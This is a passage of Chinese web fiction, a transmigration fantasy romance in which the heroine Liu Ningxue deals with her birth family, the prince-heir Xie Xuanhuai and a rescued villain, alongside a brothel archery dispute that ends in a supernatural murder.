那妇女却满脸鄙夷道:“我儿子看上她,那是她的福气!她不从不就该死吗?”
听审的人听到这话,看妇女的目光充满厌恶,江荨冷笑一声,道:“将门关上。”
随即,柳凝雪便听到门关上的声音,里面渐渐传来清亮的巴掌声和妇女的喊叫声,“你们!你们动用私刑!我要,我要告你们!”
柳凝雪在外听得神情漠然,转身欲走,却见迎面走来一人,容貌与她有七八分相似。
那人见到她愣了一下,不敢置信道:“四妹?”
柳凝雪结结巴巴地道:“二……二哥?”
柳术问:“你怎么会在这里?和黄家村的事有关?”
柳凝雪讪讪道:“你……不是知道了吗?”
柳术道:“我送你回去吧。”
柳凝雪有些心虚,忙道:“不用不用,我自己回去就行。”
见她坚持,柳术也没再多说,道:“嗯。”
说完,他便去处理自己的事情了,柳凝雪没想到会这么巧,会在这里遇到他,按理说,这时候司灵监不是已经下值了吗?
有原主那件事,柳凝雪到现在还不知道该怎么面对柳家人,况且她会术法一事,柳家人并不知道,而她之前对谢玄淮说自己会术法,是因为柳术在司灵监当值,暗地里说明她的术法是他教的,可只有她知道她在说谎。
正巧这时,又有一位司灵监当值的人过来对她说:“世子妃,江监副让在下送你回去。”
她口中的江监副自然就是江荨,柳凝雪没有拒绝,夜已深了,自己一个人走多不安全。
回到敬王府时,谢玄淮还没有醒来,敬王府本就冷清,此时府门外正孤零零地挂着两个灯笼。
柳凝雪下了马车,接过车夫递过来的灯笼,这时,送她回来的女司晨道:“世子妃,这是柳司灵让在下给您的信。”
柳术在司灵监任司灵一职,乃四司之首,柳凝雪闻言接过她手中的信纸,道:“好,多谢。”
20. 清算
原主本就是个炮灰,书中牵扯柳术的剧情并不多,所有柳凝雪也不知道柳术是个怎么样的人,当听到他给自己写了信时,还是很惊讶的。
他这般动作,柳凝雪还以为是什么家中急事,不能告知于外人,所以在司灵监的时候不能说,只能写信。
导致柳凝雪小心翼翼地回到房间,见没人才敢打开信封,结果信上写着:若四妹愿意,可回家一看,父母亲甚是想念。
柳凝雪:“……”
现在她对这位二哥有了第一印象,好面子。
想罢,她将信封折起放到一边,躺回床上想着,要回柳家吗?
可她对柳家的人都不熟悉,万一露了马脚怎么办?
据她所知,原主有三个哥哥,大哥刚出生不久就夭折,二哥成熟稳重,能独当一面,三哥就是个混混,和现代的精神小伙差不多,外加一个姨娘所出的弟弟,除此以外她还有一个大伯。
不过这个大伯妻妾虽多,子嗣却极为单薄,至今只有一子一女,为正房所出的嫡子。
柳凝雪伸手揉了揉眉心,只觉头疼不已,她并不想去柳家,主要是原主已经和柳家闹得很僵了,况且原主父亲柳玠还和李家有来往,有意让大伯女儿,她的堂妹柳凝意去和李家长子结亲。
那她此时出现不是徒增尴尬吗?
柳凝雪对此持保留意见,暂时不回应柳术这件事。
夜深露重,司灵监灯火如初,不减反增。
无忧拿着档案去找江荨,道:“监副,这是刘子闻这几年的事迹,我让人把能查的都找出来了。”
江荨接过他手中的档案,道:“好,我知道了。”
无忧在一旁落座,继续道:“刘子闻的父母亲都因为找他妹妹奔波病重而亡,他曾连中二元,以他的才华,连中三元不成问题,只是可惜。”
他语气淡淡,透着惋惜之意,江荨道:“他父亲是临安的县丞,按理说前途光明,何至于为一个人而放弃自身大好的前程。”
无忧听完,摇了摇头,叹声道:“阿荨你不懂情。”
他声线柔和委婉,温煦多情是他尉迟家子弟的标配,深知他性子的江荨不以为意,只当他又多情多思了,她低头看回手中的档案,看到一半忽觉有些不对劲。
她道:“你也说刘子闻是外乡人,在上京城毫无根基,他是怎么在短短几年就可以在城里养这么多凶尸?且都是在高门深宅,敬王府有他把持可以理解,但定国公府呢?”
无忧也心觉不对,道:“你怀疑有人在背后推波助澜?”
江荨道:“定国公府非一般人家,他一个小小的贡生,怎么会能国公府里散发邪气,让国公夫人变怨鬼的?国公夫人生前温善柔和,按理说死后的怨气不足以让她成为怨鬼。”
无忧道:“那就是有人和他里应外合,这么一来刘子闻如何知道怎么养凶尸,怎么知道黄家村一事,也是有人有意为之。”
江荨神情变得凝重,问道:“钦天监那边观天象如何?”
无忧道:“天象无异,想来这次的死难怨气不多,处理的及时,没让怨气散出去,形成邪祟。”
江荨的心安了三分,道:“这几天,你们都幸苦了,明日休沐好好休息一下吧,今日就先到这里,剩下的公文,我会带回家处理。”
无忧道:“也罢,你也不要太过劳累,注意点身体。”
江荨扫了他一眼,道:“这点公文,不至于。”
--
柳凝雪在家里一觉睡到大天亮,起身梳洗用完早膳时,她问了一句,“世子醒了吗?”
侍女道:“没有。”
柳凝雪心下起疑,苍生剑的剑气是凌厉伤人,但也不至于伤得这么重,莫非谢玄淮身上真有邪气什么的?不然苍生剑怎么无端攻击他?
柳凝雪思来想去也没有个结果,她忽然想起了什么,问道:“王府里是不是有座藏书阁?”
侍女道:“是有一座。”
敬王好歹也是名震一时的修道之人,府里定有藏书万千,定能从中找到她想要的答案。
柳凝雪想了想,道:“我要去一趟藏书阁。”
王府的藏书阁离谢玄淮的倚竹院很近,书阁临水而建,隔着一条河,对岸便是倚竹院了。
柳凝雪站在书阁门前,朝院子望去,只见院子里的屋子藏匿于数竹之中,竹影绰绰,让人难以看清院子里的情形。
柳凝雪不禁在心里想,这些竹子是多少年没修了,倚竹院成如今这般模样,并不是谢玄淮的什么癖好或是有意为之,他就是懒得修,经过了这么多次刺杀,他也不会轻易请人进倚竹院。
柳凝雪收回目光,看向阁楼大门,她将手轻轻放上去,岂料刚一碰到门边,书阁就激起一道阵法,震得她退后了一步。
柳凝雪极为不解地看着眼前的门,道:“这这么回事啊?门上有阵法。”
柳凝雪又试着将手放上去探,果然又激起了那道阵法。
敬王府的藏书阁有阵法限制。
她将手按在上面并未移开,门上就一直显示着那道阵法,阵法是常见的八卦阵,泛着金色的光芒,是一个防御机制,并没有伤人的倾向。
柳凝雪收回手,绕着回廊细细地打量了一下这座藏书阁,看来今天她是进不去的了,要想进去,还得要问一下谢玄淮。
但依照谢玄淮的性子,大概是不欢迎她进去的。
柳凝雪颇为丧气地往回走,也在此时,一直藏匿在暗处的影卫离开了原地朝倚竹院而去。
旁晚的时候,谢玄淮才从床上昏睡中悠悠转醒,他平躺在床上,幽深黢黑的眸子盯着床幔不知在想什么。
这时,下属从门外走了进来,单膝跪下,拱手对他道:“世子,她今日去了藏书阁。”
“她”自然指的是柳凝雪,谢玄淮眼眸微动,问他:“我睡了多久?”
下属道:“两日有余。”
谢玄淮坐起身来,此时的他感觉头疼得要炸裂,苍生剑针对邪祟,他又总学那些邪门歪道,难免邪气沾身,只是没想到苍生剑对他较那些邪祟更为敏感。
下属道:“世子,苍生剑随主,此前江荨便已对世子多有意见,现
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如今又有剑灵针对,只怕之后的路不好走。”
谢玄淮嗤笑一声,道:“她算什么?”
话落,谢玄淮下床,自行将衣服穿上,下属犹豫了一下,又道:“属下有一事不明,世子当时明明可以杀了刘子闻,既消除了王府多年的危险,还可以将他手中的铃铛抢来,世子为何……”
谢玄淮冷声道:“我做什么,什么时候轮到你来指手画脚了?”
下属立即低头认错,道:“是,下属知错。”
谢玄淮不免想起当时的情景,刘子闻捂着胸口倒在地上,对他说自己对柳凝雪下了毒,还说解药就藏在这几十近百的凶尸中。
刘子闻道:“一刻钟,世子,你只有一刻钟的时间,你当然可以现在就杀了我,可那就来不及替你的世子妃找解药了。”
谢玄淮听到这句话的时候,第一念头就是杀了刘子闻,可他转念一想,柳凝雪身上有太多他不知道的秘密了,她要死了,他去找谁要答案,况且她于他还有用。
他低头轻蔑地看了刘子闻一眼,道:“下次你可没那么幸运了。”
--
谢玄淮回过神来,道:“她现在在哪里?”
下属道:“在她自己的房间待着。”
谢玄淮眸色沉了沉,问:“怨灵弓有消息了吗?”
下属道:“还未。”
谢玄淮瞥了他一眼,道:“什么时候有怨灵弓的消息了再来找我。”
下属:“是。”
--
柳凝雪坐在屋里深思着,之前因为上京邪祟作乱,为了安全着想就没有回门,后面又出了那么多乱子,就更没有时间去理这件事了,这些柳家的人都可以理解,但现在呢?
她真的可以不回去吗?会不会被别人戳脊梁骨啊?
柳凝雪平生最烦的就是处理人际关系了,这种东西又乱又难缠。
算了,还是回去一趟吧,躲得过初一,躲不过十五。
正烦恼着,谢玄淮忽然走了进来,他脚步无声无息,像阿飘一样,柳凝雪思考到一半,莫名地感觉脖子凉凉的,她不禁抬手摸了摸脖子,一转头,赫然对上了谢玄淮那张似笑非笑的脸。
“哇啊啊啊!!!鬼啊!”
柳凝雪一声尖叫,被吓得身形不稳,身子一扭向旁边倒去,谢玄淮反应迅速,伸手一横,将她拦住了,再把她扳回正位。
他不悦地蹙起剑眉,道:“你叫什么?”
柳凝雪气得牙痒痒,自己悄无声息地出现在别人身后,吓得别人不道歉不说,还责怪别人乱叫!
柳凝雪越想越气,藏在衣袖下的手渐渐握紧,但一看到谢玄淮面色不虞的脸,她又忍住了,问他:“你半夜不睡觉,来我这里做什么?”
谢玄淮盯着她道:“柳小姐,这么快就忘记你自己的约定了吗?需不需要我帮你回忆一下?”
经他这么一提,柳凝雪哪里还没想起来,她身体微微一颤,眼睛轻轻偏向一边,不去看谢玄淮渐渐沉下来的脸。
他冷笑说:“柳小姐,你该不会真的……忘记了吧?”
21. 事实
望着他仿佛凝了冰的眼眸,柳凝雪忙道:“没有没有,我怎么会忘记呢,呵呵。”
话落的那一刻,柳凝雪就感觉他的手搭上了自己的肩往下游去直至腰间,他的动作又轻又快,她下意识地伸手去抓却扑了个空,动作间,柳凝雪感觉自己的腰间一松,只听“当啷”一声响,原本悬在腰上的玉佩被他扯了下来丢到桌子上。
柳凝雪惊得伸手去摸,却被谢玄淮宽大的手掌连带着玉佩一起按在了桌上,她愣了一下,偏头去看他,谢玄淮笑道:“柳小姐,你只有这一次机会了,你最好能给我一个满意答案,否则这王府就真的容不下你了。”
他虽是笑着的,笑意却不达眼底,那一双眸子宛如深潭,又犹如恶蛇,紧紧地缠着她,让她难以呼吸,自心底升起一股窒息感。
柳凝雪讪讪地抽回自己的手,道:“我又没说不说……”
她摸了摸自己的手,耳根不由地涂上一层红晕,像是要滴出血来,谢玄淮垂眸看着她,柳凝雪低着头,从这个角度看去,只能看到她泛红的耳根和鼓起又吹气的脸。
谢玄淮的眸色暗了暗,他将目光偏向一边,拿起桌上的玉佩,对她说:“说。”
柳凝雪平复了一下心情,抬头看向他,也不知谢玄淮和谁学的这么摘玉佩,她思索了片刻,决定和他说出真相,道:“这个玉佩是前世的你送给我的,你感觉熟悉可能就是因为它本来就是你的东西。”
谢玄淮眉头皱起,语气带着几分怀疑道:“我的前世?”
他看看她,又看看这枚玉佩,显然不相信,柳凝雪道:“信不信由你,这个玉佩是天山灵玉,你一查便知,天山灵玉只护心上人,它已经不是第一次保护我了,这是你亲眼看到的,怎么样?我没有说谎吧?”
听到这段话,谢玄淮的眼神很是鄙夷,上下打量了柳凝雪几眼,道:“我怎么会喜欢你?”
柳凝雪听出了他语气里的嫌弃,当即拍桌而起,道:“谢玄淮,你什么意思啊?”
谢玄淮道:“没意思。”
柳凝雪一时哑言,不知他说的是喜欢她没意思还是指其他什么。
谢玄淮懒得和她纠缠,道:“既然这个玉佩是我的,那我理应拿回来。”
柳凝雪果断拒绝,道:“不行。”
谢玄淮不解道:“为什么?”
柳凝雪朝他伸出手,一副要他还回来的样子,道:“这枚玉佩是我的心上人送给我的,就算是要还,那也是还给我的心上人,你又不是我的心上人,何况你不也没承认你喜欢我吗?”
听到这里,不知道谢玄淮为什么顿了一下,柳凝雪见他愣住了,趁机一把夺过他手上的玉佩,玉佩被抢,谢玄淮才回过神来,他低眸看了她一眼。
谢玄淮笑道:“你最好收好了你的玉佩。”
柳凝雪看了眼玉佩,便将它挂回腰间,谢玄淮转身欲走,下一秒,她就拽住了自己的手腕,说:“等一下,明天……你有时间陪我回一趟柳府吗?”
谢玄淮想也没想就拒绝,道:“没有。”
早就知道结果,可柳凝雪心里还是有点失落,轻飘飘的失落来得快去得也快,自己一个人回门也没什么不好的。
--
临近春末的上京城天气逐渐变热,十字街头的梨花沾染了早上刚下过小雨,薄薄水雾盈润着正盛的梨花,显得更为清丽怡人。
这时,巷子深处忽然传来一声穿透长空的喊叫道:“公子!公子!不好了!不好了!”
小斯急切地赶回家中,刚一进门,就听咻的一声,羽箭擦着他肩膀而过,钉在身后的木门上。
小厮吓得脸色一白,忙在原地站定了,院落里撒了一地的箭,装满箭的竹筒边站着一位男子,红衣似火,墨发扎起束成马尾,是上京少年郎惯常的打扮,他眼尾微微上挑的桃花眼,说是多情却无情,貌比天人的容颜上始终扬着一抹笑意,额前的碎发被汗水打湿,整个人宛如初升的耀阳,朝气蓬勃。
江若宁抛了抛手中的弯弓,一副混不吝的样子,道:“死人了?”
小厮结结巴巴的,道:“没……没有。”
江若宁当即皱起了眉头,道:“那你叫什么?”
小厮咽了咽口水,说:“公子,是真的不好了,你那死对头永善郡主放话说要是她第三箭还射不中就砸了满春楼。”
江若宁正欲射箭的手一顿,终于正色看回小厮,道:“那还真不好了,走,去看看。”
他忙把手中的弓放下,对一旁的侍女道:“阿姐回来了,就和她说,我已经练完了。”
侍女看着竹筒中还有一半的箭一脸为难,低着头不应声,江若宁气得差点两眼一翻,道:“又是这样,你们到底是谁的侍女啊?”
说着,江若宁拿起竹筒里的几支箭望不远处的箭堆里一丢,道:“反正她去见媒婆了,没那么快回来,余下的这些等我回来再练。”
话落,江若宁就急赶慢赶地跟着小厮出门了,今日四日十五,听说是满春楼花魁梅娘子的□□夜,通常的花魁□□夜都是以金钱的形式进行交易的,价高者得。
可这梅娘子不一样,她定了一定的银钱,然后再通过射箭的方式夺魁付钱,想要夺魁就要连中箭靶三次,每个人可以参加三次,每次十金,一次三支箭。
往日对花娘不屑一顾,傲慢跋扈,蛮横无理的永善郡主今日不知怎的,忽然对梅娘子起了兴趣,可她本人又箭术不精,在连射两箭不中靶后,她终于扬言要砸了这花楼。
现场气氛紧张至极,一双双眼睛盯紧了林月明的动作,只见林月明从侍女那接过金子一把按到身前的桌上,扬言道:“这第三箭,再不中,我就砸了这满春楼。”
她语气认真,神情严肃,不似说笑,楼上围着天井看的人也都静了下来,梅娘子坐在二楼的幕帘后,正对着楼下的林月明,闻言,微微惊讶了一下,又恢复了平静。
江若宁快步来到二楼处,问雅座上正看得认真的好友,道:“怎么样了?”
一位公子回他,道:“刚开始。”
说完,又转头看回天井了。
江若
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宁就着他身边坐下,看向林月明,这时,不知谁喊了一声“射了射了”,众人忙将目光放回林月明身上,林月明手执弯弓,眼神锐利,盯着几米开外的靶子,拈箭搭弓,“咻”一声响起,不出意外,这一箭又射偏了。
一旁不断拿手帕擦汗的老鸨终于心死了,接着便是砰的一声,林月明将手中的弯弓一丢,面无表情地说:“砸!”
老鸨急得喊道:“哎呀!郡主啊!你就饶了我吧!小门小店做生意也不容易啊!别砸了别砸了!”
老鸨边喊边指挥着奴仆去拦人,周围的人看热闹不嫌事大,楼里顿时乱作一团。
江若宁听到身边的人说道:“这永善郡主也太跋扈无理了些,自己射不中怪谁啊?”
江若宁扫了那说话的人一眼,心里却觉得奇怪,按理说这上京城没人比他更了解这位死对头了,他见过林月明的箭术,虽说是差了点,但也不至于连靶子都射不中。
除非……
他目光往下,看向箭靶处,箭靶是挂在一面木板上的,木板后是一个隔间,为了不误伤旁人,两边是空出来的空间。
“慢着!”江若宁忽地大声喊道。
众人的目光齐齐看向他,其中有不乏看好戏的,谁不知这江家二公子是上京有名的纨绔,平日里最喜欢的就是来满春楼喝酒听曲,这永善郡主要是把满春楼砸了,他岂不是要痛苦欲绝?更别说两人还是死对头,见面就互掐。
林月明也被这动静搞得抬头看向了江若宁,江若宁感受到她的视线低头看了她一眼,随即一个翻身从二楼一跃而下,稳稳地落到了林月明面前。
江若宁笑说道:“这今日的热闹怎么能少得了我呢?我也来射几支箭。”
老鸨闻言,好不容易松了一口气,可气还没彻底松下,又听江若宁道:“若我三箭射不中,我也砸了这满春楼。”
老鸨一听当即两眼晕了过去,还好身旁的奴仆给掐人中给掐醒了。
许是很少见江若宁这般动作,一时间所有人都好奇地盯紧了他,江若宁将定金放到桌子上,再拿起手边的一把弯弓。
老鸨不断地用手帕擦自己额上的汗,只有她知道今日这满春楼怕是保不住了。
江若宁搭上一支箭向靶子射去,第一箭,没中。
第二箭,没中。
这时,已经有些人看出不对劲了,若说永善郡主他们不了解,可江若宁的箭术,他们是实打实见过的,十支不说全中,保底中八支。
江若宁射出第三支箭,一样没中。
楼上便有人喊了起来,道:“何妈妈,你这箭靶不对吧?”
“是啊是啊,怎么连江二公子也一支不中?除非你这箭靶有问题。”
“有没有问题,去那隔间后一看不就知道了?”
说着,就有人动身去隔间了,何妈妈一看,吓得脸色一白,碍于对方的身份,自己也不敢去拦。
果然,那位紫衣公子一去到那隔间后,就揪出一个人来,他指着他,大声喊道:“何妈妈!你不该给个解释吗?”
22. 梅娘子
春日垂柳拂岸,河上碧绿如玉,飘荡着片片洁白梨花。
上京城城东处的鹊喜桥是大多数未婚男女来处,他们或是被家里人逼着来,亦或是特地来寻艳遇的,如江荨这般就是被江父江母逼着来相看的。
而她相看的对象正是南宫无忧,两人的父母是世交,她和他又是从小一起长大,除却去衡山修道的那几年,小时候的他们几乎是天天见面的,可谓是青梅竹马。
既是世交,两家也有意让两人结亲,曾在年幼时有过口头之约,只是江荨自衡山回来就一心修道除祟,无意儿女情怀,所以才一直拖到今天才逼着江荨挤出时间去和无忧见面。
河岸边有品茶赏花的雅座,江荨去时,不少雅座已经坐满了男女情人,无忧也提前在预定好的雅座里坐下等她了。
江荨站在不远处看了他一眼,他今日好生打扮了一翻,穿着淡青色的衣衫,一半的长发挽起用玉冠束着,修长的十指握着一把折扇,柔和的面容盈着淡淡的一抹笑,平日见惯了他在官署的官员装扮,现下这么一见倒显得有几分清冷出尘,江荨不免好奇地多看了几眼。
“尉迟渡?”江荨喊了一声。
无忧闻声抬起头来看她,这一看便有些愣了眼,江荨今日穿了一件鹅黄襦裙和大袖,挽了个堕马髻,温暖的色调冲淡了她眉眼一贯的凌厉与坚定,现出三分恬雅娴静,只是她眼中的冷淡依旧,不解风情伤郎心。
他笑了笑,回她道:“阿荨,你来了。”
江荨向他走去,但由于裙摆过长,她不小心踩到踉跄了一下,无忧见状,下意识地起身去扶她,可还没等他站起来,江荨自己便稳住了身子,无忧只好又坐回去。
她蹙了蹙眉,提起裙摆走过去坐下,面对着无忧,她没什么不好意思的,毕竟在官署常见,无忧目光倒也坦荡,拿起茶壶为她倒了一杯茶。
无忧道:“可是衣裙不合身?”
江荨道:“早年行笄礼的时候,母亲送的,没穿过,不知道不合身。”
无忧一听便知,定是江母逼着她穿上来见自己的,他道:“寻常穿着便好,不必太过隆重。”
其实也不怪江母逼她穿上,因为江荨的衣柜里清一色的白,能拿出手的少之又少,之前倒是有一件橘色的,但也因除邪祟弄脏了。
说完,两人便没有多余的话题了,无忧端起茶盏喝了一口,刚想开口找话题,却听江荨道:“刘子闻的事情处理的如何?”
在江荨看来,这是处理公事最好的时机了,她对他并无多余情感,想来他也是如此,无忧听完,猛地咳嗽了一阵,他忙用衣袖作挡,将脸偏向一旁,咳得一张白玉的脸涨得通红,道:“处理完了。”
“待钦天监拿公文一对既可。”
钦天监和司灵监共同处理捉鬼除祟一事,每处理完一件邪祟之事,两监都会保留一份档案,以供日后参考,为免出错,通常会在记录完后,会将两监的档案互对一下,直至相同。
江荨点了点头,她对刘子闻的事情一直保持着怀疑,只是查下去却一点线索也没,再加最近监长还没有回来,司灵监大小事都落到了她身上,腾不出时间去查,她只好暂时放弃。
江荨深思着,无忧踌躇片刻,道:“春日江边梨花正盛,闲坐在这里也无事,不如去赏花如何?”
“赏花?”江荨面上明显出现了犹豫,正想拒绝,她身边的侍女就上前在她耳边低声唤了声,“小姐……”
江荨转头看她,侍女虽没说下去,但光看她脸色便已明了。
江荨只好道:“嗯。”
--
满春楼里一片寂静,鸦雀无声,一双双眼睛都看着何妈妈,或鄙夷,或不屑,或厌恶……
何妈妈面临着千人所指,她面上尴尬,却说不出话来,那紫衣公子已经拽着人往前面来了,他说道:“何妈妈,大家平日里也给楼里的姑娘花了不少钱,可你呢,却把我们当猴耍,是不是太可耻了些?”
那少年看着温温和和的,说出来的话却一句也不饶人,何妈妈的面色被她说得青一阵白一阵的,旁边也有不少人附和起来,嚷嚷着要何妈妈给个解释。
何妈妈本就理亏,手帕绞紧了,银牙咬碎了也说不出一个字来,只能站在原地低着头任由他人指责。
“我说呢,这满春楼怎么干起慈善来了,原来是打定了主意坑我们呢,合着是把大家当成了傻子!”
“要我说,何妈妈,你这么干就不道德了,这上京城花楼这么多,你干不了就滚!”
“就是就是!退钱退钱!!”
可何妈妈又岂是那种拿了钱还能放手的人,平日里就抠门的紧,现在更是不可能退钱的。
林月明理了理衣摆,让人抬了一张太师椅来坐下,傲慢地开口道:“要我说,何妈妈,你这钱又不肯退,人言我又扛了,怎么也得给我点赔偿吧?我也无意以权压你,你今日将梅娘子卖给我,这事就一笔勾销,如何?”
何妈妈一听还有戏,忙抬头笑着回应林月明道:“郡主说什么便是什么,依郡主看这价钱出多少合适?”
何妈妈说完,期待又紧张地看着她,说话时,林月明已从她侍女怀里抱过她带来的灰白毛的宠物幼虎,正一下一下地撸着它光滑柔顺的皮毛。
她沉吟了一阵,道:“这女子是人又不是物品,何以用价钱商量?若是我问一声,她愿意跟我走的话,便是我的人了,当然梅娘子这些年在楼里吃穿花的钱,我会一并付清,断不会亏了妈妈的。”
这话一出,何妈妈的脸色就僵住了,要知道梅娘子才刚来楼里两年,她又是如此抠门的人,吃穿用度能花得来多少钱?
早知如此还不如花钱竞价来得好。
何妈妈肠子都悔青了,林月明见她一直不说话便有些不耐烦了,皱起眉头,道:“怎么?你不愿意?那就上公堂,欺瞒当朝郡主之罪,不知你承不承得起?”
听到要上公堂,何妈妈这才慌起来,连滚带爬地跑到林月明面前跪下哭喊道:“我同意我同意!!郡主,我同意,这多大的事啊,公堂就免了吧,免了吧……”
林月明一下一下地拍着怀里的幼虎,唇边勾起一抹笑,说道:“早说不就行了,何妈妈,你看这事闹得。”
林月明说着往楼上周围扫了一眼,原本还伸着头看好戏的人,忙将自己的头缩回来,传言说被这位骄纵跋扈的郡主抓到牢里的人,一出来,全身上下没有一块好皮,还听说她有一个专人的私牢,里面有九九八十一道让人生不如死的酷刑,是以,在上京城里她还有一个外号叫“活阎王”。
林月明视线定在二楼红色帷幕处,说道:“来人,将梅娘子请下来。”
侍女应声上前,楼里人不敢多有怨言,就在此时,一道清亮带着朝气的嗓音在林月明耳边响起,道:“慢
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着。”
众人循声望去,便见江若宁双手抱臂站在一旁,少年明艳的脸上眉宇微微蹙起,佯装出两分不乐意,道:“你把梅娘子带走了,我怎么办?”
林月明撸毛的手一顿,抬眸面无表情地看着他,两人视线相撞,她盯着他不放,他亦坦然迎上她的目光。
江若宁的容貌本就俊俏,他右脸颊上的一颗小黑痣更为他添了几分动人,每次看他的时候都是一副似笑非笑的模样,他又常与她作对,所以在林月明看来,他这么一笑就是在挑衅自己,而脸上那颗黑痣也显得极为碍眼了。
林月明冷笑道:“你怎么样与我无关,但梅娘子,我是要带走的。”
江若宁也是不退让半分,道:“若我说,我也定要将梅娘子带走呢?”
两人僵持不下,谁也不让谁,在场的人难得又有一场好戏可看,上京城最有名的纨绔和上京最出名的跋扈对上了,不得掐个你死我活,况且两人也积怨已久。
这时,有人窃窃私语道:“这郡主什么时候有这种癖好?往日她不是很厌恶这种人的吗?”
“不知道啊。”
何妈妈的目光在两人身上扫个来回,生怕他们一个不甚打起来毁了这满春楼。
楼上有人道:“既然你们谁都想要,那我们请梅娘子出来选一下不就知道了?”
其他人都道这个主意好,与其在这里争来争去,不如请梅娘子出来选一下。
楼里一下子静了下来,侍女站在楼梯旁等着林月明的命令,林月明向她颔首,她才上楼去请人。
帷幕后的女子自开始便一直看着底下的人不发一言,见有人来,她才慢悠悠地从帷幕后出来。
梅娘子以一柄梅花团扇遮面,着一身红衣,媚眼如丝,肤如冬雪,一举一动,一颦一笑,自有万千风情藏匿其中。
侍女领着她来到楼下,林月明望着她问道:“梅娘子,我和江公子,你选谁?若是选我,我必保你余生无忧,不必再过以色侍人的日子。”
说到最后一句,她余光瞥了江若宁一眼,梅娘子听完,看了看江若宁又看了看林月明,垂眸思量了一下,道:“抱歉,郡主,我选江公子。”
听到回答的林月明深吸了一口气,道:“抢。”
--
上京城春日雨多,原本阳光正好的晴天一下子就变阴天了,柳凝雪坐马车前往柳府时已经下起了雨。
雨势不大不小,柳凝雪掀帘望了一阵,随即叹了口气放下,看来今天不是回门的好日子。
正想着,马车忽然一个停顿,柳凝雪一时不防,差点被甩了出来,幸好她及时扶住了车壁。
她问道:“怎么了?”
车夫答:“世子妃,前面路上躺了个人,马车过不去了。”
去柳家的小路并不大,柳凝雪闻言,只好下车去查看,她撑着油纸伞向那人走去,谁知俯身低头一看,差点没把她的魂送走。
这人不就是原书最大的反派李慕言吗?!
柳凝雪深吸了几口气尽量让自己保持平静,李慕言感受到他人气息,微睁了下眼,他原本在别院修炼术法,不料被反噬重伤,晕倒在回府的路上。
柳凝雪指节握紧了油纸伞,李慕言在原书就是一个眦睚必报,心狠手辣,表里不一的疯子,他如今看到她了,若是不救,说不定以后他会报复回来。
救还是不救?
23. 反派
柳凝雪咬了咬牙,心下一横,拔下了头上的发钗,将尖端对准了李慕言。
李慕言眼捷微动,被鲜血模糊的视线看着撑伞的女子,她面上镇定,可微微颤抖着的握簪子的手却出卖了她此时的心情。
雨滴还在淅淅沥沥地下着,柳凝雪手上一动,向李慕言刺了下去,他眼睛下意识地闭上,然而预想中的疼痛却没有到来。
簪子插在了他脸侧,正中青蛇七寸,那条青蛇约巴掌大,顺着水流爬行到这里。
李慕言眼眸一转,袖下施术的手也停了下来。
柳凝雪嫌弃地扔掉手中的簪子,扭头朝车夫说道:“过来搭把手!”
车夫闻言速速走了过来,和柳凝雪一起将李慕言扶起来,柳凝雪道:“先送他去医馆。”
也不知李慕言在雨中淋了多久,他脸色极白,不见血色,青色的衣裳也因浸水变得沉淀淀的。
将他扶上车后,柳凝雪便把他丢在了一边,不杀他是因为她没天真到以为能凭一己之力改变原剧情,李慕言既然是原书最大的反派,那他肯定不会死在这里,说不定当时要是她的簪子刺下,人没死不说,自己倒先没了。
马车再次动了起来,见李慕言自上车后便一直没动静,柳凝雪不免伸手去探他鼻息。
还有呼吸,真是令人失望。
李慕言虽身体动弹不得,可意识却还是清醒的,他自然也感觉到了柳凝雪探过鼻息后的失望,他手中握紧了那两枚铜板,只要她在去医馆的路上有任何动作,他会毫不犹豫出手杀了她。
可这一路上柳凝雪都安静地出奇,除了那根簪子外再无动作。
去到医馆时,雨大概也停了,柳凝雪让车夫扶着李慕言进去,自己在马车里等着,过了一会儿,车夫来道:“世子妃,医馆大夫说先付银子再诊治。”
“银子?”柳凝雪疑惑道:“他身上一点银子都没有吗?”
车夫道:“没有。”
柳凝雪看了一眼自己的荷包,认命般对车夫说:“拿去吧。”
——
林月明一个抢字便让楼里乱作一团,她带来的侍卫纷纷上前钳住梅娘子,江若宁带来的人也不是吃素的,和她的侍卫打了起来。
两方人一争,梅娘子就没人理了,林月明将怀里的幼虎递给侍女,上去拉梅娘子。
江若宁见状便要拉她,林月明反手就是一巴掌,却他轻易躲过,林月明的武功并不如江若宁的高,没几下就被他单手钳制在怀里。
江若宁朝自己的人高声道:“我制住她了!你们快带人走!”
林月明的双手被他单手抓牢,力气之大让她难以动弹,她盛怒之下,一脚踩在江若宁的脚上。
江若宁痛呼一声,手中力道却未松半分,对她说:“你!”
一楼一团乱,楼上聚满了看戏的人,这时,二楼处突然传来一声响彻云霄的惨叫,“啊!!!!”
声音凄厉,引得所有人朝声源看去,不过一秒,又有人尖叫喊着,“死人了!!!死人了!!!”
一听到死人,所有人连看戏的心都没了,尖喊着奔涌地往楼下跑,江若宁愣愣地看着楼上,趁此机会林月明又一脚踩在他脚上,迅速挣脱了他的桎梏。
江若宁一时不防,这一脚她几乎是用尽了全力,他痛得脸色涨红,恨恨地盯着她说:“你!你这也太狠毒了吧!”
林月明瞪了他一眼,道:“登徒浪子!”
骂完,林月明头也不回地朝二楼走去,江若宁气得无话可说,环顾了周围慌乱的人们,对小厮道:“先疏散人群。”
出人命这种事,是一般人都不会想被牵连上,所有人都走得远远的,这正给了林月明察看现场的机会。
发出惨叫的是满春楼的妓女春葵,她所在的房间在楼梯口走廊的尽头处,林月明进去时,她正躲在角落,整个人因惊恐而不停颤抖着,脸上的妆容也哭花了,白惨惨的,有些吓人。
春葵见人进来,就颤栗地抬起手指向床榻那处,惊慌道:“死人了……死人了……”
她嘴里除了死人这两个字,已经说不出正常话了,林月明循着她指的方向看去,就见床前的血泊里躺着一具尸体。
男子衣裳整齐,两眼下泛着青痕,一副纵欲过度的衰像,他脖颈处还在不断地流出血液,看得出是刚死不久。
林月明上前几步,低头一看,果然,男子手背上有一枚血红的梅花印记。
那朵梅花印记上还断断续续地冒着黑气。
林月明皱眉对身边侍女道:“去,将司灵监的江大人请来。”
侍女忙应声离去。
——
医馆前,柳凝雪付完了钱,刚想让车夫离开,便听旁边有人说:“我听说今天满春楼里死了人!还请了司灵监的江大人去,我看又是鬼物作乱,最近几日还是少出门为好。”
“什么?!鬼?!我最怕鬼了,你快别说了……”
“这满春楼里死的人是谁啊?”
“不清楚,听说是定国公府的嫡子张永升,他家最近也是倒霉,刚死了国公夫人不久。”
谈论声渐渐走远,柳凝雪回过神来,心里道:“又是鬼物作乱?死的人是张永升吗?这个人我怎么没听过……”
正想着,脑海里忽然响起了系统冰冷的机械声,道:“鉴于宿主攻略进度过于缓慢,现给宿主下达支线任务……”
“……协助主角团找出梅花印记案的凶手……”
